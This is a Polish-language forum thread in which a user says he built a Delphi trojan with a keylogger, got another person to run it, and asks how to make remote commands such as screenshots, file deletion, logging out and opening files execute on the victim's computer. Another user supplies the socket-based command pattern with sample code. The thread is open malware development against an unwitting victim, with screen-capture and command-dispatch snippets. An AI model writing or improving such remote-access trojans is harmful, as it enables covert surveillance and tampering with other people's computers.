Pomoc z serwerem

[szostol]

Otóż zrobiłem swojego trojana. Następnie wysłałem serwer lammerowi (po przeczytaniu tego postu mnie też tak chyba będziecie mogli nazwać), on go odpalił i klient się połączył z serwerem. Ale mam jeden mały, a dla mnie ogromny problem. Wszystkie komendy działają na moim komputerze, chociaż jest połączenie do innego... Zakładam, a wręcz jestem prawie pewien, że należy dodać jakieś procedurki do servera.

Jestem pewny że udało się połączyć, bo w serwerze jest przy okazji zawarty keylogger, który działa.

Przykład:

procedure TForm1.XiButton8Click(Sender: TObject);

var

  Can: TCanvas;

  B: TBitmap;

begin

  try



    Can := TCanvas.Create;



    Can.Handle := GetWindowDC(GetDesktopWindow);



    B := TBitmap.Create;

    B.Width := Screen.Width;

    B.Height := Screen.Height;

    B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));

    try

      B.SaveToFile('D:............screen.bmp');

   except

     raise Exception.Create('Error');

   end;

To jest kod w kliencie. Klikam na button i robi się screen, ale z mojego kompa. W serwerze nie ma nic dotyczącego zarówno tej i innych komend.

Napiszcie co powinienem wstawić do serwera.

Komendy to:

-sprawdzanie zalogowanego usera
-odwrócenie przycisków myszy
-powrót do normalnych przycisków myszy
-wylogowanie
-wysunięcie CD
-screen
-uruchomienie wygaszacza
-usunięcie pliku
-otworzenie pliku
-otworzenie strony internetowej

 

[en2o]

wow, o ile Cię dobrze zrozumiałem to zrobiłeś trojana a do serwera tylko przyczepiłeś keyloggera tak? a reszta jest tylko w kliencie? xD no ładnie xD serwer nie myśli i nie czuje co byś chciał zrobić xD poczytaj może o WinSock

 

[szostol]

en2o, niestety masz zupełną rację...

Mógłbyś mi polecić jakiś artykuł, który jak najbardziej pasuje do mojego problemu?

Bądź też tak dobry i podaj jeden przykład

Wiem, wiem google.pl ale nie wiem za który się wziąść...

 

[en2o]

omg ;P za pierwszy z brzegu

w delphi masz takie coś jak serversocket i clientsocket poczytaj sobie o nich

 

[szostol]

Wiem że mam, bo na nich robiłem trojana

Jeszcze takie pytanie, czy będę musiał przerobić wszystkie procedurki żeby działały na kompie ofiary, czy wystarczy że pododaję do serwera potrzebne kody?

 

[en2o]

no wszystkie te procedury itp mają być właśnie w servie

jak ty robiłeś tego trojana?! rozumiem że eXtreme Programming xD

 

[szostol]

Czyli jak to zrobić

? Wrzucam procedurki do serwera i jak zrobić żeby uruchamiała się jakaś po kliknięciu przycisku w kliencie?

 

[en2o]

to jest na zasadzie wysyłania komend jakby :
w kliencie dajesz

ClientSocket.Socket.SendText('cdout');

a w servie

if (Socket.ReceiveText='cdout') 

then

begin

mciSendString('Set cdaudio door open wait',nil,0,handle);

end;

już rozumiesz?

 

[szostol]

Aha, komendy sobie moge sam wymyślić? np.

procedure TForm1.XiButton1Click(Sender: TObject); 

begin

ClientSocket.Socket.SendText('dupa');

end;

if (Socket.ReceiveText='dupa')

then 

var

  Can: TCanvas;

  B: TBitmap;

begin

  try



    Can := TCanvas.Create;



    Can.Handle := GetWindowDC(GetDesktopWindow);



    B := TBitmap.Create;

    B.Width := Screen.Width;

    B.Height := Screen.Height;

    B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));

    try

      B.SaveToFile('D:............screen.bmp');

   except

     raise Exception.Create('Error');

   end;

Tak, czy są jakieś specjalne nazwy komend?

Jeśli tak to wieeeeeeeeeeeeeeeeeeeeeeeeeeeeeellllllllkkkkkkieeeeee dzięki i oczywiście drugie pomógł.

 

[szostol]

Ok już komenda lolek mi wyjaśniła. Dzięki.

[ Dodano: 10-03-2008, 17:24 ]
Hymm, ale jak ja mam zrobić, gdy miałem

DeleteFile(Edit2.Text);

w kliencie, a teraz nie mam możliwości zmiany tego ręcznie. Jaka jest procedura żeby kopiowało mi tekst z edit w kliencie do edit w serwerze?